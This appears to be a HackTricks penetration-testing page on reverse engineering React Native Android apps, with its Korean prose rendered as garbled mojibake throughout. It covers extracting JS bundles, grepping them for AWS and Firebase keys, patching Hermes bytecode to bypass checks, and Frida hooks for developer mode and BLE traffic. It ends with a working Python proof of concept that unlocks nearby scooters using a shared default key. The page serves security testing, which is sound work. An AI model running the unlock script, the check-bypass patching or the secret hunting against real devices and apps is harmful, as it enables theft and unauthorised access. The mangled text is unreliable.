React Native ์ ํ๋ฆฌ์ผ์ด์ ๋ถ์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ ํ๋ฆฌ์ผ์ด์ ์ด React Native ํ๋ ์์ํฌ๋ก ๋น๋๋์๋์ง ํ์ธํ๋ ค๋ฉด ๋ค์ ๋จ๊ณ๋ฅผ ๋ฐ๋ฅด์ธ์:
-
APK ํ์ผ์ ํ์ฅ์๋ฅผ zip์ผ๋ก ๋ฐ๊พธ๊ณ
cp com.example.apk example-apk.zip๋ฐunzip -qq example-apk.zip -d ReactNative๋ช ๋ น์ผ๋ก ์ ํด๋์ ์ถ์ถํฉ๋๋ค. -
์๋ก ์์ฑ๋ ReactNative ํด๋๋ก ์ด๋ํ์ฌ assets ํด๋๋ฅผ ์ฐพ์ต๋๋ค. ์ด ํด๋ ์์์
index.android.bundleํ์ผ์ ์ฐพ์ ์ ์์ผ๋ฉฐ, ์ด๋ minified ํ์์ React JavaScript๋ฅผ ํฌํจํฉ๋๋ค. -
JavaScript ํ์ผ์ ๊ฒ์ํ๋ ค๋ฉด
find . -print | grep -i ".bundle$"๋ช ๋ น์ ์ฌ์ฉํฉ๋๋ค.
Note: APK ๋์ Android App Bundle (.aab)์ด ์ ๊ณต๋ ๊ฒฝ์ฐ ๋จผ์ universal APK๋ฅผ ์์ฑํ ๋ค์ ๋ฒ๋ค์ ์ถ์ถํ์ธ์:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript ์ฝ๋
If checking the contents of the index.android.bundle you find the JavaScript code of the application (even if minified), you can ๋ถ์ํ์ฌ ๋ฏผ๊ฐํ ์ ๋ณด์ ์ทจ์ฝ์ ์ ์ฐพ์ ์ ์์ต๋๋ค.
As the bundle contains actually all the JS code of the application itโs possible to ์ฌ๋ฌ ํ์ผ๋ก ๋ถํ ํ ์ ์์ต๋๋ค (potentially making easier its reverse engineering) using the ๋๊ตฌ react-native-decompiler.
Webpack
To further analyze the JavaScript code, you can upload the file to https://spaceraccoon.github.io/webpack-exploder/ or follow these steps:
- ๊ฐ์ ๋๋ ํฐ๋ฆฌ์
index.html์ด๋ผ๋ ํ์ผ์ ๋ง๋ค๊ณ ๋ค์ ์ฝ๋๋ฅผ ๋ฃ์ผ์ธ์:
<script src="./index.android.bundle"></script>
-
Google Chrome์์
index.htmlํ์ผ์ ์ฝ๋๋ค. -
OS X์์๋ Command+Option+J, Windows์์๋ Control+Shift+J๋ฅผ ๋๋ฌ ๊ฐ๋ฐ์ ๋๊ตฌ๋ฅผ ์ฝ๋๋ค.
-
๊ฐ๋ฐ์ ๋๊ตฌ์์ โSourcesโ๋ฅผ ํด๋ฆญํฉ๋๋ค. ํด๋์ ํ์ผ๋ก ๋ถ๋ฆฌ๋ JavaScript ํ์ผ์ด ๋ณด์ด๋ฉฐ, ์ด๊ฒ์ด ๋ฉ์ธ ๋ฒ๋ค์ ๋๋ค.
๋ง์ฝ index.android.bundle.map๋ผ๋ ํ์ผ์ ์ฐพ์ผ๋ฉด, ์์ถ๋์ง ์์ ํํ(unminified)๋ก ์์ค ์ฝ๋๋ฅผ ๋ถ์ํ ์ ์์ต๋๋ค. Map ํ์ผ์ ์์ค ๋งคํ์ ํฌํจํ๊ณ ์์ด, ์์ถ๋ ์๋ณ์๋ค์ ์๋ ์์ค์ ๋งคํํ ์ ์๊ฒ ํด์ค๋๋ค.
๋ฏผ๊ฐํ ์๊ฒฉ์ฆ๋ช ๋ฐ endpoints๋ฅผ ๊ฒ์ํ๋ ค๋ฉด, ๋ค์ ๋จ๊ณ๋ฅผ ๋ฐ๋ฅด์ธ์:
-
JavaScript ์ฝ๋๋ฅผ ๋ถ์ํ๊ธฐ ์ํด ๋ฏผ๊ฐํ ํค์๋๋ฅผ ์๋ณํฉ๋๋ค. React Native ์ ํ๋ฆฌ์ผ์ด์ ์ ์ข ์ข Firebase, AWS S3 ๊ฐ์ ์๋ํํฐ ์๋น์ค์ endpoints, private keys ๋ฑ๊ณผ ๊ฐ์ ํญ๋ชฉ์ ์ฌ์ฉํฉ๋๋ค.
-
์ด ํน์ ์ฌ๋ก์์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด Dialogflow ์๋น์ค๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก ๊ด์ฐฐ๋์์ต๋๋ค. ๊ทธ ๊ตฌ์ฑ๊ณผ ๊ด๋ จ๋ ํจํด์ ๊ฒ์ํ์ธ์.
-
๋ฆฌ์ฝ ๊ณผ์ ์์ ๋คํํ ๋ฏผ๊ฐํ ํ๋์ฝ๋ฉ๋ ์๊ฒฉ์ฆ๋ช ์ด JavaScript ์ฝ๋์์ ๋ฐ๊ฒฌ๋์์ต๋๋ค.
Quick secrets/endpoint hunting in bundles
์ด๋ฌํ ๊ฐ๋จํ greps๋ minified JS์์๋ ํฅ๋ฏธ๋ก์ด ์งํ๋ฅผ ์์ฃผ ๋๋ฌ๋ ๋๋ค:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
Over-The-Air ์ ๋ฐ์ดํธ ํ๋ ์์ํฌ๊ฐ ์์ฌ๋๋ฉด, ๋ค์๋ ์ฐพ์๋ณด์ธ์:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuration (
expo-updates,expo\.io, signing certs)
JS code ๋ณ๊ฒฝ ๋ฐ ์ฌ๋น๋
์ด ๊ฒฝ์ฐ code ๋ณ๊ฒฝ์ ์ฝ์ต๋๋ค. ์ฑ์ ํ์ฅ์๋ฅผ .zip์ผ๋ก ๋ณ๊ฒฝํด์ ์์ถ์ ํ๋ฉด ๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ๋ฒ๋ค ๋ด๋ถ์์ modify the JS code inside this bundle and rebuild the app ํ ์ ์์ต๋๋ค. ์ด๋ ํ
์คํธ ๋ชฉ์ ์ผ๋ก ์ฑ์ inject code ํ ์ ์๋๋ก ์ถฉ๋ถํฉ๋๋ค.
Hermes bytecode
๋ฒ๋ค์ Hermes bytecode๊ฐ ํฌํจ๋์ด ์๋ค๋ฉด, ์ฑ์ Javascript code์ ์ ๊ทผํ ์ ์์ต๋๋ค(์ถ์๋ ๋ฒ์ ์กฐ์ฐจ๋).
๋ค์ ๋ช ๋ น์ด๋ฅผ ์คํํ์ฌ ๋ฒ๋ค์ Hermes bytecode๊ฐ ํฌํจ๋์ด ์๋์ง ํ์ธํ ์ ์์ต๋๋ค:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
ํ์ง๋ง hbctool, ์ต์ bytecode ๋ฒ์ ์ ์ง์ํ๋ hbctool์ ์ ๋ฐ์ดํธ๋ forks, hasmer, hermes_rs (Rust library/APIs), ๋๋ **hermes-dec**์ ์ฌ์ฉํ์ฌ disassemble the bytecodeํ๊ณ ๋ํ decompile it to some pseudo JS codeํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
ํ: ์คํ์์ค Hermes ํ๋ก์ ํธ๋ ํน์ Hermes ๋ฆด๋ฆฌ์ค์ hbcdump ๊ฐ์ ๊ฐ๋ฐ์ ๋๊ตฌ๋ฅผ ํฌํจํฉ๋๋ค. ๋ฒ๋ค์ ์์ฑํ๋ ๋ฐ ์ฌ์ฉ๋ Hermes ๋ฒ์ ๊ณผ ์ผ์นํ๋ ๋ฒ์ ์ ๋น๋ํ๋ฉด, hbcdump๋ก ํจ์, ๋ฌธ์์ด ํ
์ด๋ธ ๋ฐ ๋ฐ์ดํธ์ฝ๋๋ฅผ ๋คํํ์ฌ ๋ ์ฌ์ธต์ ์ธ ๋ถ์์ ํ ์ ์์ต๋๋ค.
์ฝ๋ ๋ณ๊ฒฝ ๋ฐ ์ฌ๋น๋ (Hermes)
์ด์์ ์ผ๋ก๋ ์ญ์ด์ ๋ธ๋ ์ฝ๋๋ฅผ ์์ (๋น๊ต ์ฐ์ฐ์ ๋ฐ๊พธ๊ฑฐ๋ ๊ฐ ๋ฑ์ ๋ณ๊ฒฝ)ํ ๋ค ๋ฐ์ดํธ์ฝ๋๋ฅผ ์ฌ์์ฑํ๊ณ ์ฑ์ ์ฌ๋น๋ํ ์ ์์ด์ผ ํฉ๋๋ค.
- ์๋์ hbctool ์ ๋ฒ๋ค์ ๋์ค์ด์ ๋ธํ๊ณ ๋ณ๊ฒฝ ํ์ ๋ค์ ๋น๋ํ๋ ๊ฒ์ ์ง์ํ์ง๋ง, ์ญ์ฌ์ ์ผ๋ก๋ ๊ตฌ๋ฒ์ ๋ฐ์ดํธ์ฝ๋๋ง ์ง์ํ์ต๋๋ค. ์ปค๋ฎค๋ํฐ๊ฐ ์ ์งํ๋ ํฌํฌ๋ค์ (mid-80sโ96์ ํฌํจํ) ์ต์ Hermes ๋ฒ์ ์ ๋ํ ์ง์์ ํ์ฅํ์ฌ ํ๋์ RN ์ฑ์ ์์ ํ ๋ ์ค์ฉ์ ์ธ ์ ํ์ธ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
- ๋๊ตฌ hermes-dec ์ ๋ฐ์ดํธ์ฝ๋ ์ฌ์์ฑ์ ์ง์ํ์ง ์์ต๋๋ค (decompiler/disassembler ์ ์ฉ)๋ง, ๋ก์ง์ ํ์ํ๊ณ ๋ฌธ์์ด์ ๋คํํ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค.
- ๋๊ตฌ hasmer ๋ ์ฌ๋ฌ Hermes ๋ฒ์ ์ ๋ํด ๋์ค์ด์ ๋ธ ๋ฐ ์ด์ ๋ธ์ ๋ชจ๋ ์ง์ํ๋ ๊ฒ์ ๋ชฉํ๋ก ํฉ๋๋ค; ์ด์ ๋ธ ๊ธฐ๋ฅ์ ์์ง ์ฑ์ ์ค์ด์ง๋ง ์ต์ ๋ฐ์ดํธ์ฝ๋์์ ์๋ํด๋ณผ ๋งํฉ๋๋ค.
A minimal workflow with hbctool-like assemblers:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.
๋์ ๋ถ์
์ฑ์ ๋์ ์ผ๋ก ๋ถ์ํ๋ ค๋ฉด Frida๋ฅผ ์ฌ์ฉํด React ์ฑ์ developer mode๋ฅผ ํ์ฑํํ๊ณ **react-native-debugger**๋ก ์ฐ๊ฒฐํด๋ณด์ธ์. ๋ค๋ง ์ด๋ฅผ ์ํด์๋ ์ฑ์ ์์ค ์ฝ๋๊ฐ ํ์ํด ๋ณด์
๋๋ค. ์์ธํ ๋ด์ฉ์ https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/์์ ํ์ธํ์ธ์.
Frida๋ก release์์ Dev Support ํ์ฑํ (์ฃผ์์ฌํญ)
์ผ๋ถ ์ฑ์ ์ค์๋ก Dev Support๋ฅผ ํ ๊ธํ ์ ์๋ ํด๋์ค๋ฅผ ํฌํจํด์ ๋ฐฐํฌํฉ๋๋ค. ๊ทธ๋ฐ ํด๋์ค๊ฐ ์กด์ฌํ๋ค๋ฉด getUseDeveloperSupport()๊ฐ true๋ฅผ ๋ฐํํ๋๋ก ๊ฐ์ ํด๋ณผ ์ ์์ต๋๋ค:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
๊ฒฝ๊ณ : ์ฌ๋ฐ๋ฅด๊ฒ ๋น๋๋ release ๋น๋์์๋ DevSupportManagerImpl ๋ฐ ๊ด๋ จ ๋๋ฒ๊ทธ ์ ์ฉ ํด๋์ค๊ฐ ์ ๊ฑฐ๋๋ฉฐ ์ด ํ๋๊ทธ๋ฅผ ์ ํํ๋ฉด ์ฑ์ด ์ถฉ๋ํ๊ฑฐ๋ ์๋ฌด ํจ๊ณผ๊ฐ ์์ ์ ์์ต๋๋ค. ์๋ํ๋ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ผ๋ก ๊ฐ๋ฐ์ ๋ฉ๋ด๋ฅผ ๋
ธ์ถ์ํค๊ณ ๋๋ฒ๊ฑฐ/์ธ์คํํฐ์ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค.
RN ์ฑ์์์ ๋คํธ์ํฌ ๊ฐ๋ก์ฑ๊ธฐ
React Native Android๋ ์ผ๋ฐ์ ์ผ๋ก ๋ด๋ถ์ ์ผ๋ก OkHttp๋ฅผ ์ฌ์ฉํฉ๋๋ค (Networking native module์ ํตํด). ๋ฃจํ
๋์ง ์์ ๊ธฐ๊ธฐ์์ ๋์ ํ
์คํธ ์ค ํธ๋ํฝ์ ๊ฐ๋ก์ฑ๊ฑฐ๋ ๊ด์ฐฐํ๋ ค๋ฉด:
- ์์คํ ํ๋ก์ + ์ฌ์ฉ์ CA ์ ๋ขฐ ๋๋ ๋ค๋ฅธ ์ผ๋ฐ์ ์ธ Android TLS ์ฐํ ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ธ์.
- RN ์ ์ฉ ํ: ์ฑ์ด ์ค์๋ก release์ Flipper(๋๋ฒ๊ทธ ๋๊ตฌ)๋ฅผ ๋ฒ๋คํ๋ฉด Flipper Network plugin์ด ์์ฒญ/์๋ต์ ๋ ธ์ถํ ์ ์์ต๋๋ค.
์ผ๋ฐ์ ์ธ Android ๊ฐ๋ก์ฑ๊ธฐ ๋ฐ pinning ์ฐํ ๊ธฐ๋ฒ์ ๋ค์์ ์ฐธ๊ณ ํ์ธ์:
Make APK Accept CA Certificate
Frida๋ก ๋ฐํ์ GATT ํ๋กํ ์ฝ ๋ฐ๊ฒฌ (Hermes ์นํ์ )
Hermes ๋ฐ์ดํธ์ฝ๋๊ฐ JS์ ์ฌ์ด ์ ์ ๋ถ์์ ๋ง์ ๋๋ ๋์ Android BLE ์คํ์ ํํนํ์ธ์. android.bluetooth.BluetoothGatt์ BluetoothGattCallback์ ์ฑ์ด ์ก์์ ํ๋ ๋ชจ๋ ๊ฒ์ ๋
ธ์ถํ๋ฏ๋ก JS ์์ค ์์ด๋ ๋
์ ์ ์ธ challenge-response ๋ฐ ๋ช
๋ น ํ๋ ์์ ์ญ๋ถ์ํ ์ ์์ต๋๋ค.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(โandroid.bluetooth.BluetoothGattCharacteristicโ).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(โandroid.bluetooth.BluetoothGattCharacteristicโ,โ[Bโ,โintโ).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(โandroid.bluetooth.BluetoothGattโ,โintโ,โintโ).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(โandroid.bluetooth.BluetoothGattโ,โandroid.bluetooth.BluetoothGattCharacteristicโ,โintโ).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(โandroid.bluetooth.BluetoothGattโ,โandroid.bluetooth.BluetoothGattCharacteristicโ).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
`java.security.MessageDigest`๋ฅผ ํํนํ์ฌ ํด์ ๊ธฐ๋ฐ ํธ๋์
ฐ์ดํฌ์ ์ง๋ฌธ์ ์๋ณํ๊ณ ์ ํํ ์
๋ ฅ ๊ฒฐํฉ์ ์บก์ฒํฉ๋๋ค:
<details>
<summary>Frida MessageDigest ํธ๋ ์ด์ (์๊ณ ๋ฆฌ์ฆ, ์
๋ ฅ, ์ถ๋ ฅ)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
์ค์ ์ฌ๋ก์์ ๋ค์๊ณผ ๊ฐ์ BLE ํ๋ฆ์ด ํ์ธ๋์๋ค:
- Read challenge from
00002556-1212-efde-1523-785feabcd123. - Compute
response = SHA1(challenge || key)where the key was a 20-byte default of 0xFF provisioned across all devices. - Write the response to
00002557-1212-efde-1523-785feabcd123, then issue commands on0000155f-1212-efde-1523-785feabcd123.
์ธ์ฆ์ด ์๋ฃ๋๋ฉด, ๋ช
๋ น์ ...155f...๋ก ์ ์ก๋๋ 10๋ฐ์ดํธ ํ๋ ์์ด์๋ค ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). ์: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... ์๋ฆผ์ 0000155e-1212-efde-1523-785feabcd123์์ ๋์ฐฉํ์ผ๋ฉฐ(2๋ฐ์ดํธ registry + payload), registry ๊ฐ์ ์กฐํํ๋ ค๋ฉด registry ID๋ฅผ 00001564-1212-efde-1523-785feabcd123์ ์ฐ๊ณ ...155f...์์ ๋ค์ ์ฝ์ผ๋ฉด ๋๋ค.
๊ณต์ /๊ธฐ๋ณธ ํค๋ฅผ ์ฌ์ฉํ๋ฉด challenge-response ๋ฐฉ์์ด ๋ฌด๋ ฅํ๋๋ค. ๊ทผ์ฒ์ ๊ณต๊ฒฉ์๋ digest๋ฅผ ๊ณ์ฐํด ๊ถํ ์๋ ๋ช ๋ น์ ์ ์กํ ์ ์๋ค. ์ต์ํ์ bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [โAIKEโ,โAIKE_Tโ,โAIKE_11โ] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + bโ\xffโ*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(โ00 d4 00 01 00 00 00 00 00 00โ), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## ์ธ๊ธฐ ์๋ RN ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ต๊ทผ ์ด์ (ํ์ธํ ํญ๋ชฉ)
JS ๋ฒ๋ค ๋๋ native libs์์ ๋ณด์ด๋ ์๋ํํฐ ๋ชจ๋์ ๊ฐ์ฌํ ๋, ์๋ ค์ง ์ทจ์ฝ์ ์ด ์๋์ง ํ์ธํ๊ณ `package.json`/`yarn.lock`์ ๋ฒ์ ์ ๊ฒ์ฆํ์ธ์.
- react-native-mmkv (Android): versions prior to 2.11.0 logged the optional ์ํธํ ํค to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. ์
๋ ฅ๊ฐ๊ณผ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฒ์ ์ ๊ฒ์ฆํ์ธ์.
๋น ๋ฅธ ํ์ธ:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
์ฐธ๊ณ ์๋ฃ
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)
- hbctool (and forks) for Hermes assemble/disassemble
- รike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


